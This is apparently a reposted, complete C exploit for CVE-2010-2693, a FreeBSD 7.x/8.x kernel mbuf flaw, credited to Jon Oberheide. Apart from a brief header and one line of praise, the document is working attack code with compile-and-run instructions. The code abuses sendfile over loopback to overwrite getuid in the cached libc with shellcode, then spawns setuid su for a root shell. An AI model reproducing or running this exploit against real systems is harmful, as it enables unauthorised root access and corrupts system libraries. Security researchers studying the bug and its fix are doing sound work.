Really nice work from Jon.
/*
* cve-2010-2693.c
*
* FreeBSD Kernel 7.x/8.x mbuf M_RDONLY Privilege Escalation
* Jon Oberheide
* http://jon.oberheide.org
*
* Information:
*
* http://security.freebsd.org/advisories/FreeBSD-SA-10:07.mbuf.asc
*
* The read-only flag is not correctly copied when a mbuf buffer reference
* is duplicated. When the sendfile(2) system call is used to transmit
* data over the loopback interface, this can result in the backing pages
* for the transmitted file being modified, causing data corruption.
*
* Usage:
*
* $ gcc cve-2010-2693.c -o cve-2010-2693 -lpthread
* $ ./cve-2010-2693
* …
* # id
* uid=0(root) …
*
* Notes:
*
* Exploiting the mbuf vulnerability, we corrupt the in-memory copy of libc
* stored in the filesystem buffer cache with some shellcode. In particular,
* we overwrite getuid with a sled + mov $0×0,%eax + ret. Then, we spawn the
* setuid ‘su’ to get an instant root shell.
*
* The libc copy in the fs buffer cache will stick around for a while so you
* might want to remount/reboot after you’re done with your root shell.
*
* Kingcope beat me to this one by a long shot but I might as well still
* release it since it takes a slightly different approach. :-)
*
* Tested on FreeBSD 8.0-RELEASE, but should work on any unpatched 7.x/8.x.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SHELLCODE “\xb8\x00\x00\x00\x00\xc3″
#define SHELLCODE_LEN 6
void *
run_listener(void *arg)
{
char buf[4096];
int ret, sock, conn;
struct sockaddr_in addr;
sock = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(2693);
addr.sin_addr.s_addr = inet_addr(“127.0.0.1″);
ret = bind(sock, (struct sockaddr *) &addr, sizeof(addr));
if (ret < 0) {
printf("[-] couldn't bind to listener socket\n");
exit(1);
}
ret = listen(sock, 1);
if (ret < 0) {
printf("[-] couldn't listen on socket\n");
exit(1);
}
conn = accept(sock, NULL, NULL);
if (conn < 0) {
printf("[-] couldn't accept incoming connection\n");
exit(1);
}
while(1) {
ret = read(conn, &buf, sizeof(buf));
if (ret < 0) {
break;
}
}
return NULL;
}
int
main(int argc, char *argv[])
{
FILE *fp;
char libc[64];
int ret, sock, fd, fsize, flags, chunk = 0;
int getuid, offset, writes;
off_t bytes, sent = 0;
struct sockaddr_in addr;
struct stat statbuf;
pthread_t listener;
fd_set wset;
char sc[256 + SHELLCODE_LEN];
memset(sc, 0x90, sizeof(sc));
memcpy(sc + (sizeof(sc) - SHELLCODE_LEN), SHELLCODE, SHELLCODE_LEN);
printf("[+] checking for setuid /usr/bin/su binary...\n");
ret = stat("/usr/bin/su", &statbuf);
if (ret < 0) {
printf("[-] couldn't find setuid /usr/bin/su binary!\n");
exit(1);
}
printf("[+] checking for suitable libc library in /lib...\n");
memset(libc, 0x0, sizeof(libc));
fp = popen("ls -1 /lib/libc.so.*", "r");
fscanf(fp, "%s", libc);
fclose(fp);
printf("[+] found libc at %s\n", libc);
fp = popen("nm -D /lib/libc.so.* | grep \"W getuid\"", "r");
fscanf(fp, "%x", &getuid);
fclose(fp);
printf("[+] found getuid function at 0x%08x\n", getuid);
offset = getuid - 2048;
writes = offset / 256;
printf("[+] target: 0x%08x, adjusted: 0x%08x, writes: %d\n", getuid, offset, writes);
printf("[+] spawning listener thread...\n");
if (pthread_create(&listener, NULL, run_listener, NULL) != 0){
printf("[-] couldn't create listener thread!\n");
exit(1);
}
sleep(3);
printf("[+] connecting to listener thread...\n");
sock = socket(AF_INET, SOCK_STREAM, 0);
bzero(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(2693);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));
if (ret < 0) {
printf("[-] couldn't connect to listening thread!\n");
exit(1);
}
printf("[+] initiating exploit via sendfile...\n");
fd = open(libc, O_RDONLY);
if (fd < 0) {
printf("[-] couldn't open target libc library!\n");
exit(1);
}
ret = fstat(fd, &statbuf);
if (ret < 0) {
printf("[-] couldn't stat target libc library!\n");
exit(1);
}
fsize = statbuf.st_size;
flags = fcntl(fd, F_GETFL);
flags |= O_NONBLOCK;
fcntl(fd, F_SETFL, flags);
while (fsize > 0) {
FD_ZERO(&wset);
FD_SET(sock, &wset);
ret = select(fd + 1, NULL, &wset, NULL, NULL);
if (ret < 0) {
continue;
}
if (chunk > 0) {
bytes = 0;
ret = sendfile(fd, sock, 256 * writes, chunk, NULL, &bytes, 0);
if (ret < 0) {
continue;
}
chunk -= bytes;
fsize -= bytes;
sent += bytes;
continue;
}
chunk = 2048;
write(sock, sc, sizeof(sc));
}
printf("[+] exploit complete!\n");
printf("[+] spawning root shell...\n");
system("su");
return 0;
}